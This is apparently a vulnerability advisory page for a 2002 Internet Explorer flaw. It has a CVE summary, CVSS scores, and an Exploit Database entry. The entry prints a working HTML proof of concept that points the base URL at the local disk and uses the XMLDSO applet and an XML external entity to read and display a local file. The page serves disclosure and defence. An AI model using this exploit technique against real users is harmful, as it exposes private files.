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Internet Explorer 4.0 and later allows remote attackers to read arbitrary files via a web page that accesses a legacy XML Datasource applet (com.ms.xml.dso.XMLDSO.class) and modifies the base URL to point to the local system, which is trusted by the applet.
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Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 6.4 | AV:N/AC:L/Au:N/C:P/I:P/A:N | nvd@nist.gov |
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Exploit information
Exploit Database EDB-ID : 21721
Publication date : 2002-08-16 22h00 +00:00
Author : Jelmer
EDB Verified : Yes
source: https://www.securityfocus.com/bid/5490/info
A problem in Microsoft Internet Explorer could lead to the disclosure of sensitive information.
Due to the design of the datasource applet, it may be possible for a user to view the contents of local files via a remote page. By building a custom-crafted page that specifies the code base as the local system, it would be possible to display the contents of known local files.
<html>
<head>
<base href="file:///C:/">
</head>
<body>
<applet code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso" MAYSCRIPT="true">
<?xml version="1.0"?>
<!DOCTYPE file [
<!ELEMENT file (#PCDATA) >
<!ENTITY contents SYSTEM "file:///C:/jelmer.txt">
]>
<file>
&contents;
</file>
</applet>
<script language="javascript">
setTimeout("showIt()",2000);
function showIt() {
var jelmer = xmldso.getDocument();
alert(jelmer.Text);
}
</script>
</body>
</html>
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